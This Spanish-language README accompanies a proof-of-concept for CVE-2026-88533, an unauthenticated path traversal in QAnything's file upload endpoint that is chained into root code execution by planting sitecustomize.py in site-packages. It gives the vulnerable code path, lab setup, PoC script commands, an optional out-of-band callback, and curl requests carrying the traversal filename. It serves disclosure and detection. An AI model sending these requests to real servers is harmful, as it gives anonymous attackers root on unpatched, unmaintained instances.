
PoC y reproducción en laboratorio para CVE-2026-88533, una escritura arbitraria de archivos sin autenticación que conduce a RCE como root en QAnything mediante path traversal en el endpoint de carga.
ID de CVE: CVE-2026-88533 (asignado por MITRE, publicación del registro pendiente)
Producto: QAnything de netease-youdao — plataforma de código abierto de RAG / QA sobre bases de conocimiento
Afectado: v1.4.x hasta v2.0.0 (rama por defecto qanything-v2, hasta el commit final 65de104)
Versión corregida: ninguna — proyecto sin mantenimiento desde 2025-03-12; la única corrección de saneamiento (PR #483) reside en la rama heredada master y nunca se fusionó en qanything-v2
Debilidad: CWE-22 Path Traversal
Impacto: Creación arbitraria de archivos no autenticada → Ejecución Remota de Código como uid=0(root)
Descubridor: Yankui Li
El endpoint de carga de archivos toma el multipart controlado por el atacante y lo utiliza como ruta de destino sin sanear los separadores de ruta. expande de vuelta a , el filtrado de caracteres de ancho completo y el truncamiento por longitud dejan intactos y las rutas absolutas, y . El consiguiente escribe contenido controlado por el atacante en cualquier lugar al que el proceso pueda acceder — dentro de un contenedor por defecto.
POST /api/local_doc_qa/upload_filesfilenameurllib.parse.unquote()%2f/../os.path.join(base, name)name es absolutoopen(file_location, "wb")rootDado que el producto no requiere autenticación en ningún punto (user_id/user_info son simples parámetros de la petición), cualquier instancia accesible por red acepta esto de forma anónima.
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
Dos propiedades hacen que esto sea explotable de forma fiable:
../.%2e%2e%2f sobrevive porque unquote se ejecuta antes de cualquier filtro.Un contraste de endurecimiento dentro del mismo código base: el endpoint upload_faqs reemplaza / por _ en los nombres de archivo. upload_files nunca recibió ese tratamiento, lo que lo convierte en el único vector de escritura.
Nota: LocalFile.__init__ tiene una guarda if not os.path.exists(file_location), por lo que solo se pueden crear archivos nuevos — los archivos existentes no pueden sobrescribirse. Por lo tanto, la explotación se dirige a archivos nuevos en ubicaciones ejecutables.
La imagen oficial de Docker ejecuta el backend de Python como root. CPython importa automáticamente sitecustomize.py desde site-packages al iniciar el intérprete — un archivo nuevo colocado en:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ relativo, o ruta absoluta) se importa la próxima vez que arranca el backend, ejecutando código del atacante como uid=0(root).
¿Por qué
site-packagesy no el directorio de la aplicación? CPython ejecutasite.pyantes de insertarsys.path[0], por lo que unsitecustomize.pyjunto al script de entrada no se autoimporta.site-packageses la única zona de colocación fiable.
Otros vectores fueron probados y descartados (documentados para completitud):
/etc/cron.d/ — el directorio existe y acepta escrituras, pero la imagen no incluye ningún demonio cron, por lo que nada ejecuta nunca el payload.Imagen oficial + código fuente vulnerable fijado (commit 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
El script PoC se incluye en este repositorio (poc_qanything_cve_2026_88533.py) — cada
elemento de evidencia a continuación fue producido ejecutándolo contra el stack de laboratorio anterior. Clona y
reproduce la salida exacta tú mismo:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full reinicia el contenedor objetivo una vez (comportamiento documentado; la importación de
CPython se dispara al arrancar). Todo se distribuye seguro por defecto: sin reverse shell, sin payload
destructivo — el payload de demostración escribe un archivo marcador que contiene la salida de id.
Todo el ataque son dos POST HTTP; esto es con lo que el contenido de detección debería coincidir
(el filename multipart que lleva una ruta absoluta o secuencias ..//%2f es la señal clave):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
Toda la evidencia a continuación es la salida real de terminal de poc_qanything_cve_2026_88533.py
(el script de este repositorio) ejecutado contra el stack de laboratorio construido a partir de
docker-compose-lab.yaml. Ningún paso fue falsificado ni simulado — el script sale con código distinto de cero
a menos que todas las comprobaciones pasen, por lo que puedes verificar la cadena de extremo a extremo tú mismo.
Stack de laboratorio — imagen oficial + dependencias mínimas, todos los contenedores saludables:

--mode check — primitiva de escritura no autenticada confirmada: el marcador fue escrito fuera
del directorio de carga mediante un nombre de archivo multipart con ruta absoluta y leído de vuelta desde dentro del contenedor:

--mode full — tras el reinicio del contenedor, CPython autoimporta el
sitecustomize.py plantado; el marcador del payload demuestra la ejecución como uid=0(root):

La transcripción completa de terminal de la ejecución de --mode full mostrada arriba también se incluye,
literalmente: evidence/full-chain-run-2026-09-18.log —
6/6 comprobaciones [OK], veredicto RCE CONFIRMED, marcador del payload demostrando uid=0(root) con una
marca de tiempo (los valores nonce/kb_id en el log se generan aleatoriamente en cada ejecución, por lo que tu
propia ejecución diferirá — eso es lo esperado).
Se añadirá una captura de pantalla de la página del registro CVE una vez que el registro sea publicado.
| Fecha | Evento |
|---|---|
| 2026-08-25 | Vulnerabilidad descubierta; primitiva de escritura verificada contra una instancia en vivo (marcador inofensivo + lectura de vuelta) |
| 2026-08-29 | Cadena RCE completa reproducida en un laboratorio local aislado; informe redactado; enviado a MITRE (CNA-LR) vía cveform |
| 2026-09-18 | CVE-2026-88533 asignado por MITRE |
| Por determinar | Registro CVE publicado; este repositorio y un análisis detallado publicados |
Este material se publica con fines de investigación defensiva y educativos. Úsalo solo contra sistemas que poseas o para los que tengas autorización escrita explícita para probar. Consulta DISCLAIMER.md.